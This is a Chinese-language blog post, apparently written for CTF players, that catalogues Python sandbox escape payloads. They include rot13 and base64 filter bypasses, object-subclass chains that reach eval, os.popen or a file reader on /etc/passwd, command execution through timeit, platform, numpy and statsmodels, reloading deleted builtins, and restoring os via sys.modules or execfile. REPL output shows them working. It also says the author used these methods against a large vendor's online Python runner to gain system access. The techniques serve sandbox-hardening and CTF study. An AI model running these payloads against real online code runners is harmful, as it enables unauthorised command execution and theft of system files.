Python Sandboxie Escape 沙盒绕过
in PythonCTF with 0 comment

Python Sandboxie Escape 沙盒绕过

in PythonCTF with 0 comment

前言


SSTI服务端模版注入中,已经接触到了Python沙箱逃逸的方法。其命令执行本质上可以理解为一种沙箱绕过,它和Python沙箱绕过的方法是通用的。

Python沙箱

Python语言机制或解释器本身没有沙箱,这里所说的“沙箱”是类似一些网站提供在线Python脚本执行,而又不想用户直接使用Python执行系统命令对系统造成危害,而对Python的一个“阉割”版本。被“阉割”的版本删去了命令执行,服务器文件读写等相关函数或文件。

沙箱逃逸思路


对于Python的沙箱逃逸而言,实现目的的最终想法如下:

import os
import subprocess
import commands
# 直接输入shell命令,以ifconfig举例
os.system('ifconfig')
os.popen('ifconfig')
commands.getoutput('ifconfig')
commands.getstatusoutput('ifconfig')
subprocess.call(['ifconfig'],shell=True)

import 关键字过滤

在一些CTF中,经常会过滤一些import包的关键字,这样就不能直接利用os等包进行命令执行了。如果关键字被过滤,如sys,os,commands,subprocess等被过滤。可以对原始关键字进行各种加密解密来绕过关键字检测。如果面临的沙盒不能导入任何包,那可能就是import关键字被过滤了。可以尝试使用如下方式来绕过 :

__import__函数

res = __import__("pbzznaqf".decode('rot_13'))
res.getoutput('ifconfig')

importlib库

import importlib
res = importlib.import_module("pbzznaqf".decode('rot_13')
print res.getoutput('ifconfig')

加密解密绕过字符串过滤

>>> import base64 
>>> base64.b64encode('__import__') 
'X19pbXBvcnRfXw=='
>>> base64.b64encode('os') 
'b3M='
[x for x in [].__class__.__base__.__subclasses__() if x.__name__ ==
 'catch_warnings'][0].__init__.func_globals['linecache']
.__dict__['o'+'s'].__dict__['sy'+'stem']('id')

sandbox1.jpg

根对象与继承树

回顾Python中的一些特殊方法:
__class__ 返回调用的参数类型
__class__返回基类
__mro__在当前环境下追溯继承树
__subclasses__()返回子类
__globals__ 作用是以一个dict返回函数所在模块命名空间中的所有变量。

解析一下上节的payload来理解根对象和对象继承树在绕过沙盒时的作用:

在上节中的[x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('id') payload中,大致原理是,
[],{},''Python中的内置变量,通过内置变量的属性和函数去访问当前Python环境中的继承树,可以从继承树爬到根对象类。利用__subclasses__()等函数向下爬向每一个object,这样就可以利用当前的Python环境执行任意代码。

>>> ''.__class__ # 获取'' 的参数类型
<type 'str'>
>>> ''.__class__.__bases__ # ''的基类
(<type 'basestring'>,)
>>> ''.__class__.__bases__[0] 
<type 'basestring'>
>>> ''.__class__.__mro__ # ''的继承树
(<type 'str'>, <type 'basestring'>, <type 'object'>)
>>> ''.__class__.__mro__[-1] # object是所有Python对象的基类,获取它
<type 'object'>
>>> ''.__class__.__mro__[-1].__subclasses__() # 利用基类向下追溯,获取敏感类
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]
>>>

然后就可以构造利用代码:

Python2的利用代码:

''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()

Python3 的利用代码:

[x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")

sandbox2.jpg

使用其他类库


在上节使用的是根对象继承追溯的方式去寻找可能的对象函数,从而利用这些语法去绕过关键字等检测。由于Python的库非常多,可以利用一些Python中的内置或者第三方库,而这些库也有命令执行等操作时,就可以尝试导入这些库,去执行命令。

timeit

import timeit
timeit.timeit("__import__('os').system('dir')",number=1)

sandbox3.jpg

exec和eval

eval('__import__("os").system("id")')

sandbox4.jpg

platform

import platform
platform.popen('id').read()

sandbox5.jpg

numpy

from numpy.distutils.exec_command import _exec_command as system2
system2('id')

sandbox6.jpg

statsmodels

import statsmodels.tsa.x13
output = statsmodels.tsa.x13.run_spec('id').stdout.read()
raise Exception(output)

sandbox7.jpg

reload builtins


Python中,不用引用直接使用的内置函数称之为built-in函数。也就是我们不用导入而直接使用的如"eval","exec","open"等。
可以使用dir(__builtins__)来查看当前的built-in函数。可以看到"eval","exec","open",print等函数都在built-in中。

>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FileExistsError', 'FileNotFoundError', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'InterruptedError', 'IsADirectoryError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'ModuleNotFoundError', 'NameError', 'None', 'NotADirectoryError', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'PermissionError', 'ProcessLookupError', 'RecursionError', 'ReferenceError', 'ResourceWarning', 'RuntimeError', 'RuntimeWarning', 'StopAsyncIteration', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'TimeoutError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '__build_class__', '__debug__', '__doc__', '__import__', '__loader__', '__name__', '__package__', '__spec__', 'abs', 'all', 'any', 'ascii', 'bin', 'bool', 'breakpoint', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'exec', 'exit', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip']
>>>

当删除builtin中的函数时,在当前环境下就不能使用了。

>>> del __builtins__.__dict__['eval']
>>> del __builtins__.__dict__['open']
>>> del __builtins__.__dict__['exec']
>>>
>>> exec("print('test')")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
NameError: name 'exec' is not defined
>>>

这种删除,可以理解为一种内存上的不引用,只是在当前允许环境下被删除,而不是真正删除了文件。这种情况下的沙盒如何绕过呢?
__builtin__是一个默认引入的module,而这个module可以使用reload函数来从文件系统中重新引入。重新引入后当前运行环境中的__builtin__就被重置了,这时就可以利用exec,eval,open等函数了。

>>> eval("__import__('os').system('id').read()")
uid=501(dr0op) gid=20(staff) groups=20(staff)
>>> del __builtins__.__dict__['eval']
>>> eval("__import__('os').system('id').read()")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
NameError: name 'eval' is not defined
>>> reload(__builtins__)
<module '__builtin__' (built-in)>
>>> eval("__import__('os').system('id').read()")
uid=501(dr0op) gid=20(staff) groups=20(staff)
>>>

此时删掉的eval函数重新“复活”

但是reload函数也是__builtin__中的函数,如果将它删掉。就无法使用上述方式。在文件没有被真正删除时,就可能有方法去绕过。在Python中,有一个模块imp,可以利用。

import imp 
imp.reload(__builtin__)

包恢复


但是如果将os包从sys.modules中删除之后,就不能再引入了。同样的,若是没有真正删除os.py包,也是可以恢复的。
通过pip安装的package一般会放在如下路径之一:

/usr/local/lib/python2.7/dist-packages
/usr/local/lib/python2.7/site-packages
~/.local/lib/python2.7/site-packages

ossys.modules中删除,可以发现不能导入os包。

>>> sys.modules['os'] = None
>>> import os
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ImportError: No module named os
>>>

Python import 的步骤
python 所有加载的模块信息都存放在 sys.modules 结构中,当 import 一个模块> 时,会按如下步骤来进行
如果是 import A,检查 sys.modules 中是否已经有 A,如果有则不加载,如果没> > 有则为 A 创建 module 对象,并加载 A
如果是 from A import B,先为 A 创建 module 对象,再解析A,从中寻找B并填> > 充到 A 的 dict 中

此时文件并没有被删除,二引入模块,究其本质就时加载了文件,虽然在sys.modules中被删除了,但可以在文件中被重新加载进来。

>>> import sys
>>> sys.modules['os']='/usr/lib/python2.7/os.py'
>>> import os
>>>

以上方式使用了sys,如果sys也被从sys.modules中删除.可以使用execfile直接执行文件。

>>> execfile('/usr/lib/python2.7/os.py')
>>> system('id')
id=501(dr0op) gid=20(staff) groups=20(staff)

实战


在某大型厂商漏洞挖掘过程中,发现其有Python线上运行环境,尝试对其进行沙盒绕过,获取系统权限。

sandbox8.png

sandbox9.png

总结


1, 首先判断环境时Python2还是Python3,在利用时是有一定区别的。
2, 从根对象去向下寻找可利用函数是比较常见的沙盒绕过,例如在Flask SSTI中使用这种方式。例如:
[].__class__.__bases__[0].__subclasses__()或者''.__class__.__mro__[2].__subclasses__()出发,查看可用类。

4, 在真实环境中非CTF测试时,首先考虑其他类库,如timeit,platform,numpy等。

REFERENCE

[1] https://xz.aliyun.com/t/52
[2] https://blog.csdn.net/wy_97/article/details/80393854
[3] https://blog.csdn.net/qq_35078631/article/details/78504415

Responses